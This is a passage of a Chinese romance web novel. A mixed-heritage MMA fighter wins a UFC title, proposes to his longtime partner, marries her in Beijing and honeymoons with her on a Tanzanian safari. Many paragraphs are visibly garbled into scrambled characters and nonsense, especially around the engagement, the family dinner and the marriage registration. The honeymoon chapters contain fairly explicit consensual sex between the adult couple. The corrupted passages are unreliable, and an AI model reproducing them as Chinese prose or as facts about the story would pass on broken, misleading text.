燕棠其实没有看清宋郁是怎么赢的。 前四个回合的局势都非常胶着,第五个回合,她以为会打到最后一分钟为止。但开场没多久,宋郁直接把哈法埃尔绞在地面上,位置恰好在八角笼的角落里,那处的黑色柱子挡住了燕棠的视线。 一切都发生得太快了。她看见裁判突然入场,随后是坐在一旁的现场解说员爆发出惊叫,甚至有人跳上了桌在喊"Kirill"的名字,随后全场开始爆发出惊人的叫喊,所有人彻底沸腾,这往往是在某个值得列入年度或者历史精彩瞬间的时候才出现。燕棠在这时还有些发愣,但前后左右的观众已经开始对她说"congratulations"。 她从座位上站起来,看见UFC总裁拿着金腰带上台,离她最近的观众是个美国人,还在兴致勃勃地跟她讲刚才那一幕有多么精彩。 “他是要把金腰带给Kirill吗?”燕棠用英语问身边的人。"yep,他是要给Kirill。" “他真的是要把金腰带给Kirill。”燕棠重复了一遍。她身边的观众说:“没错,Kiill接下了金腰带……还过来找你了!” 是的,宋郁过来找她了。 现场还持续沸腾着,镜头一直跟随着他,将所有画面都实时投射在大屏幕上。 燕棠看着他朝她跑了过来,左肩上披着金腰带—皮质黑底,正中是金色八角形,非常宽,看上去很沉重,这是她如此近距离看见这个东西。 随后,宋郁把金腰带放在了她的手上。 燕棠还没有反应过来,愣愣地拿起这个腰带——真的很沉。 下一秒,他忽然将她抱起来,扛在了肩上。 宋有的肩膀是那么结实、那么宽阔,手也十分有力,稳稳地扶着她的腰。 燕棠坐在他肩上,手里拿着金腰带。 由于宋郁很高,她的视野变得非常开阔,在视野所及之内,所有观众都站了起来,或是鼓掌或是尖叫。 在这一刻,她终于反应过来,心里升起与有荣焉的激动。 “所有人都在讨论我们,不对,所有人都在讨论你,他们都在说你很美。” 赛后派对上,宋郁附在她耳边轻声说着,随后拉着她的手腕,从后门溜走,悄悄回到酒店套房里。 房内没有开灯,豪华的内饰和家具都隐没在黑暗里,只有露天走廊处让城市夜里的璀璨光线漏进室内。 宋郁将燕棠抱起来,将她抵在墙上,跟她接吻。 “你赢了。” 燕棠还沉浸在刚才那热烈的场面中,惊呼和尖叫仿佛还回荡在耳边。 “对,我赢了。” 他声音里带着笑意。 套房面积极大,十分空旷,沉浸在夜色里时静得出奇。可燕棠觉得一点儿也不孤寂,她和宋郁一起沉浸在胜利的喜悦里,这种胜利的喜悦就如同她拿下A轮融资时一样,像是拥有了全世界。 “我有一个礼物要给你。” 她说着,轻轻推开宋郁,在他有些惊讶的目光下转身往房间里走,拿出了一个厚厚的相册。 露天走廊亮着两盏落地灯,燕棠拉着宋郁坐在沙发上,把这份准备了很久的礼物送给她。 她一直在思考,在这场比赛过后要送什么给他——思考送什么礼物是最考验人的,其实宋郁没有太多特别的爱好。他喜欢旅游,对豪车和奢侈品不太在意,毕竟对他来说那算是日用品。燕棠花了很多时间制作这份相册,它记录了宋郁从小到大的比赛历程,列出了时间、地点和当时发生了什么事。照片有的是她自 己拍的,有不少来自他父母和外祖父母要了许多照片。 她想,如果赢了,这会是一份很好的纪念,如果输了,就是一份还不错的安慰。 翻到最后一页,燕棠指着空白的地方说:“这里特意留出了位置,可以放你今天的照片,八岁到二十四岁,你太厉害了,Kirill。” 她抬起头,看见宋郁正目不转睛地看着她,灯光拢在他眉眼上,一片柔和。 “你喜欢这个礼物吗?” “我很喜欢。”他凝视着她,轻声说:“我没想到你会准备这个,我真的很高兴。” 燕棠笑了,“既然很高兴,为什么不多看看礼物,反而一直看着我?” “因为你是送礼物的人。”宋郁握住她的手腕,将她拉进怀里。“如果没有你,我也不会赢。” 燕棠以为他在说情话,可宋郁却没有一点开玩笑的意思。他说他知道今晚其实胜率不算高,所有人都知道这件事,所以结果出来后,大家才会那么兴奋。 “我已经无数次想过,赢得胜利后跑向你,像今晚这样,把金腰带递给你,然后向所有人炫耀。”“只要升起这个念头,我就感觉自己全身充满了力量,让我熬过那些日子,然后夺得胜利。” 就像以前那样,燕棠跨坐在他的腿上,和他面对面说话,于是她清晰地看见他那双漂亮的眼睛里,正深刻地映着她的样子。 她也很意外,没想到宋郁是抱着这样的想法上赛场的。 男人和女人的思维永远存在差异,但这并不一定是件坏事,在某些情况下,它会是一种令人意外的惊喜。 正如燕棠用她所能尽的一切努力来向宋郁表达她的爱,宋郁也始终具有相同的冲动。 他希望自己成为她最好的选择,希望他能给她带来荣耀,希望这个夜晚成为他生命里浓墨重彩的一笔,也成为她生命里最耀眼的时刻。 记录胜利的镜头里要有她。闪光灯也要为她而亮。 “我也有礼物要送给你。”宋郁说。 燕棠手里被塞了一个平板电脑,上面是个程序控制页面。 “这是什么?”她问。 宋郁没说话,只是教她怎么操作。 其实这是一个控制器,它控制的是拉斯维加斯城市楼体灯光和摩天轮的系统,可以按照燕棠的想法随意变化灯光走向和图案。 路人不知道发生了什么,只看见几座摩天大楼灯光变化这座曾经对燕棠而言过于梦幻的城市,此刻正在为她闪烁着。 她看见城市里有一处恒定不变光点,问那是什么。 宋郁说:“那是我为你买的房子。” 他又说,“我还买了一枚戒指。” 燕棠心头一颤,蓦地转过头,对上他的目光。 她又听他说:“我还有几句话想对你说。 65、击中心脏后(正文完) 宽敞的露台之外.能看见拉斯维加斯大道的璀璨光景.往远外望去.那些星星点点的灯光像一片细碎的金子洒在黑夜里,棕相树、百乐宫喷泉巴黎铁塔和自由女神像同处在一个画框中,极尽浮华,恍如梦境,就像六年前样。 六年前,当燕棠来到立斯维加所的时候,她明白自己喜欢这甲的繁华和喧闹,也明白自己不过是个来去无痕的局外人。 “所以我为你买了套房子,我想如果你拥有了这里的房子,你会感觉自己真正拥有这座城市,就像现在一样,这座城市的灯光都在你手中。”宋郁笑着说。 光影落在他漂亮的脸上,额角那处新鲜出炉的伤口稍稍破坏了这张脸的美感,但却让燕棠想起了很久之前,他在咖啡厅等待她签害家教合同时,好像也是相同位置的伤口。他们那时还并不熟悉,但宋郁总会朝她露出那种安静的、甜滋滋的笑。 就像现在这样,这笑永远让燕棠心甜。 宋郁拿出了给她准备的第二样礼物。 在两年前,他给燕棠买过一枚戒指,不求保值,只求足够漂亮、足够闪耀 现在,他又给燕棠买了一枚戒指,但这枚戒指花了他很多心思。 戒托经过设计,有小克拉钻石点级,但最夺目的是主钻 高争值、优良切工、大克拉 它美丽、保值、具有更深远的含义。 燕棠看见这枚戒指,第一反应是—它定很贵很贵。 “喜欢吗?” 她点点头,忍不住说:“它一定花了你很多钱。” 宋郁被她的反应逗笑了,“你值得这世界上最好的。” “只有你说过这样的话。”燕棠也笑了。 “所以其他人都比不上我这样爱你,我也知道这世界上不会有人像你这样爱我。” 宋郁凝视着她,用种笃定的语气说。 “从前我-直在想,我要对你好到怎样的地步,才能让你安心地爱我、和我在起。但后来,我才发现真正使你安心的,是当你觉得你也可以为我付出同样多的时候。“所以我觉得今天是个合适的日子,我想让你知道你给了我多大的力量,才让我在今天这场比赛里胜出。 他垂下眼眸,将戒指套在她的无名指上,冰糖般难架的钻石,正如他给出的爱样纯粹。 ,六了,e 文的生,斑4e不m而也 年Ah 细数时间,才发现六年过去了。这六年对他们而言并不容易。 但有些事情,正因为不容易,才显得足够可贵。正因为有许多次错过的可能,才显得这份感情的分量足够重。 ,有和上6 6 e 尽管他们并没有坐在一起提过这件事,但当两个人能够开诚布公地讨论资产的时候,他们都知道关系进到了下一步。 求婚是一个仪式性的过程,仪式构成了生活意义的一部分 但神奇的是,人似乎永远无法预料自己的人生的意义将在何处开始,究竟是一家坐落在街边的超市,还是座纸醉金迷的城市。 见她点头,宋郁很高兴,将她抱进怀里,又确认般问:“从十八岁到现在,我做的切都没让你失塑吧?” “从来没有,你从来没让我失望。你让我感到很骄傲。其党的声音有些哽咽 “我在赛场上也把自己的脸保护得很好,因为知道你喜欢我的脸。 泪意不过三秒,被这句话生被逼了回去。 宋郁以乎还怕她在这方面有所顾虑,认真地说:“我的花明一定很长,你可以参照我爸爸和我哥,反正我定是我们家最晚调谢的那朵。” 语气十分笃定,充满了二胎的底气。 燕棠眼泪没掉半滴就开始笑,连忙向他保证,她非常相信他到了九十岁,头发还会像西伯利亚的麻林样茂密。 两人当晚就向家人宣布了这个事实,认识了这么多年,又谈了很久的恋爱,双方父母早就有了准备等第二天和俱乐部成员吃饭的时候,大家也都得知了这个消息。 “这得多少钱啊?!”唐蕊心被用颗钻石的大小惊住。 宋郁坐在燕棠旁边,云淡风轻的说:“价格不重要。” 了,那一 有响L,好大,T不砂了 F他最后只AF酚线,钢本入来政e “那你们要在哪儿领证?在这里?”超子问。 选求婚,是烟这个地方购两个人底义特殊两个人以后理生活地点还是在比和莫斯科,结临证两于理要工件,在关回洒后回去要的证,非箱麻瓶 一人在所加顺停留D天,转去A当了-回游容,把菜吗、星大道油士尼之关知最点转了一画,才坐(WD比京 怡巧这时候,宋郁母都在国内,两家就定了个日子,约在北京见面吃饭 +月的比京G岗是收的好的振,二环红墙画瓦,树叶片金跳,吃响的地总足木构)条自的,在洞内京私丽,菜单电的考了m间的味 燕棠给父母定了离她和宋郁住处近的酒店,这天上午特意提早去接他们,网进房问就发现她爸妈有点票张。 “小宋的爸爸是大老板,他妈妈又是模特,我们要怎么称呼他们才合适啊?叫宋总?宋夫人?”她妈妈问。 燕棠怀疑她妈妈这两天在悄悄研究豪门小说,笑着说:“叫他爸宋总可以,叫他妈妈娜所佳就行,但他妈妈会说的中文不算多,你们可以跟她用英文交流。” 但瓶提耀他门:在外面,别人也川我氟总或者总,他们家没形么吓人,少看点新秘间响争端 这效就是两家人坐下来,和和乐乐见个面,祝福一下小情但要建立小家罢了。 娜斯佳本来就是个热情的人,很没和燕棠见面,给了她一个大大的拥抱,还跟分享自己这年做了什么美容项目。 作为未的的亲妈,如听佳比任何人部要早知道他的心思,她不像保宋裕用那考虑得多,只觉得自己儿子喜欢的就是最好的,反倒旧心未有械她宠出来的啤气会让藏草受委屈。 在餐京上,当娜斯佳第三次问瓶“Ki有没有欺负你”的时候,一旁的宋郁终于忍不住开口为自己说话 这处院落完全是中式古典的装修风格,外头竹林横斜,秋日阳光温和明艳。 吃版后,传应生给所有人端上系,未裕向而发母设两/平安,核心遍思就民母面LO的e愿,金力配所南要求,言下之解足知果和碎家要题所件么低,做数和酸收式之类,不用阶向他TR出来。 而燕棠父母也都是老实人,客客气气地回应,说只要两个孩子高兴就好。 有时缘分的响向妙,虽然是购户完全不的人家,但位事都十分体面,未似心母不究十么出去”要进了的念,燕学义母当了二+来年的老师,在文上面地石得开。 那些敏感的、传统的东西没有提,于是在这顿饭过后,父母们的心意以红包的形式交到了两个人的手上。由娜斯佳转账,银行账户还是当年娜斯佳给她转宋郁补课费的那一个。 “你爸妈转来的红包太多了。”这天晚上,燕棠躺在床上,盯着新收到的到账短信 这是她第一次收到百万级3的红包。 宋郁就靠在她身边,手十分不规短地在她的腰间固摸,一听到“红包”两个字,忽然停手,问:“我哥给了没?” 现在又要到年终了,是各种业务会集中的时候,宋璟在莫斯科忙碌,只能遗憾缺席今天的见面。 但宋郁不准备放过他,毕章都是一家人,喜事自然要分享喜悦他拿起手机点开和亲哥的对话框、发出消息「哥,我后天领证。」「这是我老婆的银行账户。J,T响欧的民可w的,燕棠有在北京的工作居住证,宋郁在使馆开了单身证明,在选定的日子到民政局,十五分钟迅速力完手续下午秋风凉爽,燕棠被宋的粒拉着手走出政务中心。“今晚带你去吃大餐。”他笑盈盈地说他们在一家法备厅用备,聊起未来的计划,从打算起去旅游的地方,到资产配置和家庭保险的购买。领证虽然是简年的事情,但末解党还是有公子哥儿,而燕棠也有自己的公司,两个人的律师发来需要签字的邮件,多数是股权相关的配偶承诺区和致行动胁议。排除婚姻的浪渴属性,它还忘味着更为坚固的同盟关系。在这封封来自律师和条产顾向的邮件,还有亲朋好友的恭高声中,燕棠开始有了结婚的实感,但真正让她体会到这一点的,却是在婚后第天下班回家的时候 她推开家门,里头灯光温暖,角落里的天鹅绒竹芋舒展着美丽的深色叶面。 宋有坐在客厅沙发上,穿着连帽卫衣和灰色运动裤,正在把他们近明的照片放进相框里。 他柔软的发丝被灯光照得浅浅亮亮的,光线勾勒着微卷的长睫毛和秀挺的鼻尖。 燕棠看到这一幕,感觉自己的心像被击中般猛地跳了一下。她大概永远会被末郁的美貌盅感 宋郁在自己的社交媒体宣布结婚的同时,也宣布自己将告别赛场投资公司还在搭建中,这段时间宋郁闲着无聊,在家里又变成了白型小能玩偶,天等燕棠下班回来玩他。 见她到家了,巨型小熊玩偶放下手中的东西,走到门口抱住她,有些孩子气地抱怨:“今天怎么开会开了那么久?” 她笑眯眯地说:“今天处理完工作了,明天可以在家陪你。” 落地窗外,树叶被唤风吹得沙沙作响。 北京这座城市好像也一直没怎么变,高楼大厦,车如流水,人群来来往往,忙着各自的生活。 但在今后的每天里,在万家灯火中,总会有问房子的灯为她而闪耀,总有一个人在高高兴兴等她回家。 在今后的每一天里,他们也会如今天这样像孩子样相爱,像大人一样相处,像家人一样生活。 (正文完) 66、日常篇. 早在结婚之前,燕棠就已经跟宋郁同居了两年,所以领证之后的大部分时间里,她都并没有觉得生活发生了什么实质性的变化。 但在某一些时刻,当她看着宋郁的时候,心里会突然冒出“这竟然是我老公”的感叹。比如现在。 七月初的北京,阳光在清晨就从云层里冒了出来,穿过窗户,洒在编织地毯上,落在床上。燕棠被阳光晒醒了,睡意朦胧地睁开眼。 她微微侧过头看向一旁,宋郁半张脸还陷在松软的枕头里,一缕阳光恰好落在他脸上,纤长的睫毛在光影中微微翘起。 但燕棠很快就发觉不对劲。 她正被条沉重的手臂牢牢压在腰间,身后还被结实的胸肌沉沉压着。整个人的身体几乎是陷进了身后男人的怀里,甚至被挤压得有些喘不过气来。 而这位将她前后夹击的帅哥,正姿势依赖地挨在她身边,呼吸平缓,睡得很熟,这模样恬静得像一幅美丽的油画。 燕棠从床上撑起身,这动作让宋郁也醒了,他声音里还带着明显的睡意:“你去哪儿?” “洗漱。”她摸了把他的头发,“你继续睡,时间还早。” 虽然现在已经退役了,宋郁还保持看早上六点起来跑步的习惯。但燕棠工作不忙的时候,一般九点之后才睁眼,所以他跑步结束回到家,往往冲个澡又爬上床抱着她睡口笼觉,久而久之也就养成了习惯 燕棠从洗手间出来之后,见他还在床上睡着,被子只盖到腰处,上身穿着件宽松的黑T,显得皮肤更白了。她没忍住,上床趴在了宋郁身上。 米九几的男人,肌肉结实又性感,趴在上面的感觉非常好。燕棠靠在他颈项间,在他白皙的脸颊边亲了一口。 被她这么一压,宋郁自然也清醒了,半睁开眼看她,一只手下意识扶着她的腰,免得她乱动掉下去。 窗外阳光明媚,两个人谁也没说话,你看我我看你。 好一会儿,燕棠才开口:“你怎么还硬着?” 她此刻恰好是叠趴在他身上的姿势,隔着一层有厚度的被子,仍然能清晰感觉到那玩意儿的形状。 宋郁很淡定:“早上正常的生理反应。” 他大概还没有完全清醒,眼里还带着几分睡意,声音也是轻轻的。 燕棠摸了摸他的脸蛋,动作很轻很柔,困意未消的宋郁又闭上了眼睛。她见他老老实实地躺平任碰,又摸了一把胸肌,然后往下隔着被子摸了一下水瓶,下一秒就被宋郁隔着被子顶了一下。 察觉到事情走向不对,燕棠准备收手,她还没吃早餐,这会儿正饿了。 “你不能总是把我玩醒了就走。”宋郁不乐意地睁开眼,把她拉进被子里,从床头柜里摸出一个套。早晨适合slow se.x,尤其是夏天的早晨。空调吹着凉爽的风,房间浸在阳光里,角落里的植物静默舒展,两个人躲在被子里拥抱 明明室内清凉,她的脸颊却被阳光晒得发热。 这样正面相对的姿势让燕棠只能仰视他。视线所及之内,是男人起伏性感的肌肉,腹肌绷紧,双臂也因发力而微微隆起。他目光落在她脸上,欣赏看她的神情。 "Kirill" 被她叫了声名字,宋郁俯下身抱紧了她。 清晨事后最适合泡一杯咖啡,慢慢磨,细细碾,热水入杯,滚烫浓香。 他们在十点半喝上了咖啡。 这是家里新购置的咖啡机,上周刚刚送到,之前都是宋郁操作,燕棠还没试过,鼓捣了半天才泡出一杯咖啡来。 宋郁在这时候也做好了早餐,走过来站在她身后,下巴抵着她头顶,从后抱住她,看她做咖啡 完成新一轮融资之后,公司有钱招新员工,管理层也有了新人,燕棠没那么忙,稍微长了一些肉,体态匀称。这导致宋郁总是习惯性地捏她。 燕棠已经习惯了他的小动作,完全无视他动手动脚的行为,把咖啡杯放在台面上,问:“你的咖啡要牛奶吗?”“不用,你就像牛奶一样。”他的手在燕棠腰间揉了两下。 往常都是保姆做饭,但今天是个例外,因为他们下午就要出发去机场,准备去坦桑尼亚进行结婚旅行。 领证之后自然就涉及办婚礼的事情,这事情非常麻烦,选地点、安排行程、挑婚纱等等,费时费力。燕棠当时琢磨了一晚上,越琢磨越犹豫。 “如果你不想办传统婚礼,我们可以去旅行。”宋郁那时候说。 他身边朋友的婚礼都很不一样,有的人喜欢大操大办,还会请明星来唱歌助兴,有的人则很低调,要么办小型婚礼,要么就夫妻俩起旅游。 于是结婚旅行的事情就这么定下。 自从去了宋郁的外祖父母家后,两人就一直想去非洲看动物迁徙,恰好七八月是草原的旅游旺季,他们找专人设计了行程,两个人独自出行,当地出行会有人陪同。 下午五点左右,两人抵达首都国际机场,在经过十六个小时的飞行之后,飞机在达累斯萨拉姆国际机场降落。 七月是这里的旱季,白日里空气干燥炎热。负责行程的导游Leo已经在机场出口处的棕榈树下等待。这是位在坦桑尼亚定居多年的法国人,一头卷发,皮肤黝黑,身材健壮,性格十分爽朗。 两人跟着Leo又几番辗转,终于在夜里入住了一家位于塞伦盖蒂草原的顶奢酒店。 旅行路上难免奔波,燕棠有些困,站在宋郁身后把他当柱子靠。一扭头,发现一边儿有几个中国人面孔的旅客正在看他们。 其中一个女生和她对上目光,随后跟她打了个招呼,小声问:“你也是中国人吗?” 燕棠笑着点点头,跟她聊了两句,才知道他们是一群在欧洲留学的学生,趁有假期一起结伴来非洲看动物迁徙。 这女孩儿叫郑思宁,非常自来熟,跟燕棠聊了两句后,实在没忍住好奇心,又问:“你男朋友是哪国人呀?” “他是混血,妈妈是俄罗斯人。”燕棠说完,又补充:“其实我和他已经结婚了。” 郑思宁身边还有同行的两个女孩儿,都好奇地听着呢,大家都喜欢看帅哥,这会儿听她说已经跟这帅哥结婚了,都惊得瞪大眼睛。 “你们看上去还很年轻啊……”她们目光下意识转向两人的手,果然看见了婚戒。 再一抬头,原本跟leo在交谈的宋郁早就转过头,这时正皆向她们,笑了一下,用英文说:“对啊,我十八岁就遇到她了。” ——自从结婚后,宋郁就特喜欢拿这件事念叨。 两人看上去都很年轻,所以新认识的人得知他们结婚的事情,多多少少都要惊讶一下。而宋郁在这个时候就会告诉他们,其实他和燕棠已经认识很久了,也谈了很久的恋爱。但他全然不提当时自己小小年纪是怎么把燕棠钓上钩的,于是最后大家都会深沉地看着燕棠,目光里写着“你很有本事”以及“要对这孩子负责啊”。 套房内面积极大,整体是木质结构,拱形地格子窗带有法式风情,大厅内三面都是可卷起的门帘,外头是木头搭建的露台和泳池,护栏之外就是广袤的草原风景。 天花板的墙面上是当地民族特色的花纹图案,吊灯外悬着重重珠帘。夜间寂静,天空辽阔,能直接看到星星和银河。 燕棠洗过澡,身上的疲惫褪去不少。她从浴室走出来,恰好看见宋郁坐在沙发边,对着窗外拍照。 她刚走到他身边坐下,放在桌上的手机就传来好几道消息声,是宋有把照片发到了家庭群里。这时候在国内已经是凌晨,两方的父母都睡了。 但宋璟大概还在加班,于是他回了一个:「?」 宋郁说带他云旅游,不用谢。 发完消息,他放下手机把燕棠拉进怀里,大吸两口老婆的香味,亲亲密密地说:“刚才有服务生过来送蛋糕,祝我们新婚快乐。” 他指着一旁的餐桌。桌布花纹典雅繁复,上头摆着一块精致的蛋糕,一旁的银质烛台上亮着温柔的烛光 原来是他们刚才办理入住的时候,前台听说了他们是结婚旅行,特意送来蛋糕作为庆祝。 宋郁直接抱起她,在餐桌边坐下,要她坐在他腿上去尝。 可燕棠不确定还能不能吃完这块蛋糕,她现在不过是刚吃了一口,扣在她腰间的手就开始乱动。 “你太香了。”宋郁诚实地说,“这是正常的反应。” 门帘还没放下,餐桌一侧就是露台,一抬头就是望无际的草原。 这里早晚温差大,夜间的气温在二十度左右,偶有凉风卷过矮树和绿草,飘进室内,空气中浮动着大自然的气味,不时传来昆虫的鸣叫声。 在这深沉而原始的夜色里,宋郁没忍住,低下头去亲吻燕棠的肩头。 她放下刀叉,用纸巾擦擦嘴,建议:“先回房间。” 可没想到宋郁按住了她的腰,“不要,这里是独立套房,没人看得见。” 67、日常篇... 燕棠上半身趴在了桌上。沉重坚实的木质长桌散发着木头特有的香气,透过柔软的桌布钻入她鼻尖。 身后的男人压在她后背,扣住她的后颈,要她转过头去和他接吻,让他尝尝蛋糕里奶油的甜意和巧克力粉的醇香。 坐头等舱的好处就在这里,在飞机上吃好睡好,加上宋郁精力本来就十分旺盛,在这陌生又私密的环境里是半点儿倦意都没有。 当草原吹来的风拂过身体,凉意让燕棠下意识蜷缩了身体,朝压在身上的热源紧贴。那风也送来几道遥远又强悍的咆哮,激起她本能中的畏惧感。 “那是狮子在叫?”燕棠紧张地问。 “是的宝贝,那是狮子在叫。” 他的声音又轻又缓,慢条斯理地跟她调情,指尖摩挲着她的皮肤不疾不徐地讨好她,全然不在意远处的声响。 “我可以脱掉你的睡裙吗?” 燕棠的心思还在外头那十分吓人的吼叫声里,不安地问:“虽然声音离得很远,但它们会不会跑过来?狮子速度也很快….” “也许那头狮子只是在找他的新娘子。”宋郁没得到允许脱裙子的指令,催促般朝她肩头处咬一口,等燕棠因为那细微的疼痛哼了一声,他又像大猫似地安抚般舔上去。 草原深处,那属于野兽的低吼声还不时响起,除此之外,还隐隐约约有大体型动物踩在草地上的脚步声传来。 见燕棠实在紧张,宋郁就着她坐在自己怀里的姿势,直接单手把她抱起来去找避孕套。 酒店有红外监控,外国也一直有保泓逻,刚才登记入住的时候你过注意到吗?那些马赛人都摩着枪,我们自己雇的保续也休息在房间旁边 他从包里把套翻出来,“虽然这次只有我们两个出来玩儿,但肯定都安排好了啊,你好好享受就行了。” 燕棠被他放在了沙发上。 为了让住客更好地观赏风景,两张米色环形沙发在客厅相对而立,燕棠趴在沙发背上,恰好正对草原的方向。深沉的夜色之中,隐约能看见水牛的身影,狮子的声音消失了,是取而代之的是非洲野狗的嚎叫声。 感觉到燕棠放松了不少,他又从后抱住她,装模作样地问:“我现在可以脱你的裙子了吗?” “这里会不会太….” “动物们不会那么没礼貌,专门跑来偷看我们做爱的。”宋郁认真地说。 燕棠听到了身后响起避孕套包装袋被撕开的声音。一只有力的手扶上她的腰。 为了防止她受凉,壁炉已经燃起了火,刺啦作响地跳动着。 燕棠感觉自己好A在了文明和原始的边界,除了身下柔软的沙发外,所听所间、所见所感,一切都极其强悍、粗犷,充满看自然界的威惕力。 连施展在她身上的力道也是如此的强烈直白。 她年轻的丈夫脱下了她的裙子,让壁炉里散发出的火光照亮她的身体。 燕棠侧过脸去,视线之内是宋郁线条利落漂亮的下颌,目光往下——这小子身上衣服完好,偏偏把她给扒光了。 他垂下眼,拨开她滑落肩头的发丝,扣住她的后颈,低头跟她柔柔地接吻。完了还不忘笑着提醒:“你要叫小声一点儿,不然动物们也会听见我们在做什么了。” 体力大量消耗,燕棠在这晚睡得很熟。 她梦见自己在草原上骑熊奔驰,这头熊强壮结实,有着柔顺光滑的浅棕色毛发,在太阳底下闪动着耀眼的光泽。 ——非洲的草原上怎么会有熊? 现在,草原上不仅有熊,这头熊好像进入了发情期,把她藏进洞里后就抱着她乱滚,还在喊“老婆老婆”。 燕棠惊醒了,这才发现自己被压得喘不过气。 天已经大亮,大床正对着透明玻璃门,草原、灌木和远处的山脉在阳光下晕成一片层次分明的绿色。阳光漏进室内,把压在她身上的男人的头发也照得浅浅亮亮的。 这头产地位于西伯利亚的熊正压在她身上,沉重的手臂搂着她的腰,有一下没一下地亲她脸颊。见她醒了,宋郁还没有撒手,只撒乔般说:“该起床了。” 今天是旅程第一天,两人要随向导坐车去看草原上的野生动物,出发时间早,现在是早上六点半,得赶紧起来吃早餐。 昨天晚上被能拱到大半夜,燕棠不仅腰酸,还困得晕头转向,强打起精神起床收拾好,迅速出门。 餐厅在酒店花园里,空气里弥漫着咖啡豆的香气,里头坐着来自世界各地、各种肤色的旅客。昨一行从欧洲来的中国留学生游客也在,三男四女一起坐在长桌边吃早餐,认出他们俩了,还特意朝他们打了个招呼。 咖啡终于让燕棠恢复了不少精神,她拍了拍身边男人肩膀。宋郁自觉低下头,然后听她宣布:“从今天开始不能像昨晚那样了。” “为什么?”他不敢置信,“我昨天晚上做得不够好吗?” 燕棠沉默两秒,用中文说:“不,你是太能干了。” 旁边那桌的中国留学生们听见她说了句中文,昨天跟她聊过天的郑思宁又好奇搭话:“你对象听得懂中文呀?” 燕棠笑着说:“应该基本听得懂。””应该''?怎么像是你们不熟的样子?”郑思宁也笑了. 不是不熟,是宋郁经常装作不懂。就像现在这样,他听见燕棠这个绝情的决定后就开始喝咖啡看风景,什么也没说,不知道在想什么。 酒店门口停着许多辆军绿色越野车,顶棚支起,可供人在路途上站起向外拍照架和未和MC0上车,车驾按位坐着门开的当地向导,另外还有两位在未似母特下必交聘用的随行保 “今天在草原出行的向导们都会相互联系,他们熟悉这一片地方,会带我们去找动物。”Leo说 为了这次旅行,燕棠专程购置了一套摄影装备。镜头一举,草原苍茫,灌木从生,狮子、角马、斑马、猎豹都轻易收入视野。也许是动物们习惯了看见越野车这样的庞然大物,车可以直接停靠在距离动物极近的位置上。 这样让两人非常近距离地看到了野生动物们的活动场面。 猎豹妈妈给孩子捕食瞪羚。大象宝宝在碧绿的树丛里煽动大大圆圆的耳朵。长颈鹿在路边的水滩里支开双腿低头喝水。 两人路过一对在树荫下乘凉的狮子夫妻,大概是新婚的缘故,这一幕在他们眼里显得尤为和谐。Leo问他们想不想拍照,随后车便停在了离这对狮子夫妻距离极近的位置。 可相机还没有举起来,这两头狮子先动了。燕棠有些害怕猛兽,在车内往后一退,靠在了宋郁怀里。 “它们不会过来的。”宋郁说。 燕棠问:“他们在干什么?” 问题刚问出来,狮子夫妻便给出了答案。母狮子趴伏在地,公狮子作势要压上去。 燕棠呆住了,宋郁也惊讶地“咦”了一声。然后他捂住了燕棠的眼睛,淡定地说:“别看,不礼貌。” 燕棠第一次知道他是个这么讲礼貌的人。 车还在往前走,这广袤的草原里充斥着自然最原始的气息,这也导致他们不仅撞见了狮子夫妻的好事,还在中午野餐时看见另一对斑马的交配过程 回程时已经是傍晚,一天的旅程令人疲倦,路上道路颠簸,燕棠回到酒店时已经感觉自己要散架。 她洗过漏后躺在床上,看见从浴室里出来,腰间只围着一条浴巾的末郁要朝床边走来,声音坚定地说:“你先把衣服穿好。” 宋郁不情不愿地穿上衣服,才说:“我是要给你放松按摩。” “酒店有SPA服务,我去叫一个。”“他们都没有我专业。” 作为曾经的格斗运动员,宋确实对那肉放松、疲劳舒解的手法非常了解,手放在燕蝶身上地井没有固动,真的开始的总局地当-位按摩师 就在燕棠已经放松下来,被困意笼罩的时候,她忽然听见宋郁问:“今天玩得开心吗?” “嗯……” 他继续说:“以后我们也可以多出来走走。在北京或者莫斯科生活久了,那些楼啊车啊看着都很没意思,来这样的地方才能静下心来思考生命的意义。” “你今天在思考生命的意义?思考出什么来了?”燕棠这么一听,困意消减了些,转过身来笑着问他。 宋郁躺在她身边,让她靠在自己怀里,长睫垂下,目光柔柔地注视着她。“比如不管是人类还是其他物种,都有跟自己的亲人和爱人生活在一起的本能” 燕棠觉得他还有别的话要说,谨慎地没吱声。 果然,他还在发表自己的感言:“雄性和自己的妻子表达欲望,也是非常自然、非常正常、非常美好的事情。” 燕棠听懂了,她提醒宋郁:“今天那对狮子交配的时候,你看见母狮子是怎么吼他的了吗?” 看见了。“宋丽说,“那服是因为大描的“有倒刺,我们人类又不样,如果你非要比较,也许可以参照马他们的夫妻感情看上去微好。 由于燕棠太困,枕在宋郁手臂上迷迷糊脚就睡着了,这场诡异的谈话也就这么结束但她这晚又做了个梦。 梦见她在大草原上骑马,这匹马和昨天的那头熊一样有着光滑柔顺的毛发,一边跑一遍喊“老婆老婆”。由于奔跑的速度太快,燕棠被颠得左摇右晃,只好抓住了他的鬃毛。 "你抓疼我了。“她听见宋郁委屈的声音。 燕棠睁开眼,发现床体在微微晃动。她的手抓着宋郁的头发,但这不能怪她。 谁叫这小子半夜不睡觉,把脸往她胸口埋 谁叫这小子半夜不睡觉,把脸往她胸口埋。 第68章日常篇 68、日常篇 床头灯光的亮度被调试至最暗,微弱的光芒穿过灯罩,向四周逸散。 非洲草原多昆虫,木质大床的四角床柱上挂着防虫的绣花白色纱帘,在灯光映照下,自成一处私密的天地。 “你睡觉的时候翻了个身,我感觉到怀里空了,就睡醒了。”“将你重新抱进怀里的时候,你睡得很熟,被挪了位置也没有感觉。”“我猜你肯定累了,所以没有打扰你……” “这就是你大半夜在床上贴着我忙活的原因?”燕棠听完了他的辩词,立刻哭笑不得地反问。 她垂下眼盯着宋郁,这人枕在她身边,头发略有些凌乱,双眸真诚地看着她,一脸无辜的样子。 “我去帮你拿身干净衣服。” 宋郁老实起身,乖乖给她用温毛巾擦干净小腿,自己去洗了个澡。 等出浴室时,他换了身宽松T恤,一副清爽帅气的样子,全然不像是会贴在老婆身上干坏事的人。 壁炉静静烧着,草原凉风吹拂,宋郁掀开被子上床,心满意足地抱着燕棠,在这良夜中安然入睡。 两人定下的行程相当随性,玩一天休息一天,怎么舒服怎么来。两人睡到了将近中午的时间,一起吃了个早午餐。 等他们正准备在酒店的后花园里溜达,Leo忽然打电话过来,说遇上了角马渡河。越野车就等在酒店门口,直接载着两人就往河边去。 在此之前,燕棠只在电视上看过动物迁徙,透过一方屏幕已经可以窥见其中的壮观,等真的到了现场,才发现在从电子屏幕感受到的东西不足现场的十分之一。 